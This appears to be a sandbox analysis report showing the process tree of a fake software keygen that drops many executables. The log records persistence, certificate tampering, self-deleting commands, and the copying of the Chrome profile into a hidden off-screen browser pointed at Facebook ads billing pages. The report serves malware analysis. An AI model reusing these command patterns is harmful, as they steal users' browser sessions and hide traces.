C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6780 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6124 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6896 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6776 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7296 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7312 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7564 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5192 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7808 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7928 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8076 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8212 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8216 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8240 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8636 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8248 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7148 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8092 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5692 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8180 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8252 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4028 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,9146111148941755756,776565690144107857,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8052 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Roaming\hfvshhjC:\Users\Admin\AppData\Roaming\hfvshhj2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\hfvshhjC:\Users\Admin\AppData\Roaming\hfvshhj3⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\hfvshhjC:\Users\Admin\AppData\Roaming\hfvshhj2⤵
-
C:\Users\Admin\AppData\Roaming\hfvshhjC:\Users\Admin\AppData\Roaming\hfvshhj3⤵
-
C:\Users\Admin\AppData\Roaming\isvshhjC:\Users\Admin\AppData\Roaming\isvshhj2⤵
-
C:\Users\Admin\AppData\Roaming\isvshhj"C:\Users\Admin\AppData\Roaming\isvshhj"3⤵
-
C:\Users\Admin\AppData\Roaming\hfvshhjC:\Users\Admin\AppData\Roaming\hfvshhj2⤵
-
C:\Users\Admin\AppData\Roaming\hfvshhjC:\Users\Admin\AppData\Roaming\hfvshhj3⤵
-
C:\Users\Admin\AppData\Roaming\isvshhjC:\Users\Admin\AppData\Roaming\isvshhj2⤵
-
C:\Users\Admin\AppData\Roaming\isvshhj"C:\Users\Admin\AppData\Roaming\isvshhj"3⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Temp2_Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.zip\Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.exe"C:\Users\Admin\AppData\Local\Temp\Temp2_Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.zip\Jasc_Paint_Shop_Pro_9_0_serial_key_gen_by_TSRh.exe"1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exekeygen-step-2.exe3⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\D3C1.tmp.exe"C:\Users\Admin\AppData\Roaming\D3C1.tmp.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\D3C1.tmp.exe"5⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK6⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL4⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Free.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Free.exe"4⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install5⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\JoSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\JoSetp.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\6971102.exe"C:\ProgramData\6971102.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\ProgramData\6446512.exe"C:\ProgramData\6446512.exe"5⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"4⤵
- Executes dropped EXE
- Drops Chrome extension
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y5⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/5⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffc162b4f50,0x7ffc162b4f60,0x7ffc162b4f706⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1516,2362465452701553336,7017470649839174759,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1528 /prefetch:26⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1516,2362465452701553336,7017470649839174759,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1912 /prefetch:86⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1516,2362465452701553336,7017470649839174759,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2848 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1516,2362465452701553336,7017470649839174759,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2564 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1516,2362465452701553336,7017470649839174759,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1908 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1516,2362465452701553336,7017470649839174759,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1516,2362465452701553336,7017470649839174759,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3180 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1516,2362465452701553336,7017470649839174759,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2556 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1516,2362465452701553336,7017470649839174759,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3748 /prefetch:16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-PHV4C.tmp\Install.tmp"C:\Users\Admin\AppData\Local\Temp\is-PHV4C.tmp\Install.tmp" /SL5="$602EA,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-89403.tmp\Ultra.exe"C:\Users\Admin\AppData\Local\Temp\is-89403.tmp\Ultra.exe" /S /UID=burnerch16⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\TCERHGLOLO\ultramediaburner.exe"C:\Users\Admin\AppData\Local\Temp\TCERHGLOLO\ultramediaburner.exe" /VERYSILENT7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-U9VUG.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-U9VUG.tmp\ultramediaburner.tmp" /SL5="$7005E,281924,62464,C:\Users\Admin\AppData\Local\Temp\TCERHGLOLO\ultramediaburner.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a2-cd4fa-f87-32090-a22dd26de29a5\Gotuzhaxashe.exe"C:\Users\Admin\AppData\Local\Temp\a2-cd4fa-f87-32090-a22dd26de29a5\Gotuzhaxashe.exe"7⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\41-4df92-50c-27286-782cc1f18a337\Huqerijyga.exe"C:\Users\Admin\AppData\Local\Temp\41-4df92-50c-27286-782cc1f18a337\Huqerijyga.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\esuy0dx1.wdg\gpooe.exe & exit8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qb3i0feo.sgi\google-game.exe & exit8⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\qb3i0feo.sgi\google-game.exeC:\Users\Admin\AppData\Local\Temp\qb3i0feo.sgi\google-game.exe9⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install10⤵
- Loads dropped DLL
- Modifies registry class
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jlhh1nv5.hxg\md1_1eaf.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\jlhh1nv5.hxg\md1_1eaf.exeC:\Users\Admin\AppData\Local\Temp\jlhh1nv5.hxg\md1_1eaf.exe9⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yoeoaob4.qwv\build.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\yoeoaob4.qwv\build.exeC:\Users\Admin\AppData\Local\Temp\yoeoaob4.qwv\build.exe9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\yoeoaob4.qwv\build.exe" & del C:\ProgramData\*.dll & exit10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build.exe /f11⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 611⤵
- Delays execution with timeout.exe
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\u5xrqwn2.cpj\askinstall36.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\u5xrqwn2.cpj\askinstall36.exeC:\Users\Admin\AppData\Local\Temp\u5xrqwn2.cpj\askinstall36.exe9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe11⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y10⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/10⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd8,0xdc,0xe0,0xb4,0xe4,0x7ffc162b4f50,0x7ffc162b4f60,0x7ffc162b4f7011⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1496,5951511832429587944,12788030087600297911,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1836 /prefetch:811⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1496,5951511832429587944,12788030087600297911,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1560 /prefetch:211⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vsnbv21x.2tq\KiffApp2.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\vsnbv21x.2tq\KiffApp2.exeC:\Users\Admin\AppData\Local\Temp\vsnbv21x.2tq\KiffApp2.exe9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rjbhn34d.0ez\y1.exe & exit8⤵
-
C:\Users\Admin\AppData\Local\Temp\rjbhn34d.0ez\y1.exeC:\Users\Admin\AppData\Local\Temp\rjbhn34d.0ez\y1.exe9⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\jg0zP8qfbl.exe"C:\Users\Admin\AppData\Local\Temp\jg0zP8qfbl.exe"10⤵
-
C:\Users\Admin\AppData\Roaming\1619009948068.exe"C:\Users\Admin\AppData\Roaming\1619009948068.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619009948068.txt"11⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\jg0zP8qfbl.exe"11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV112⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 312⤵
- Runs ping.exe
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zqurqrr0.qef\LNHOKLIIEB.exe & exit8⤵
-
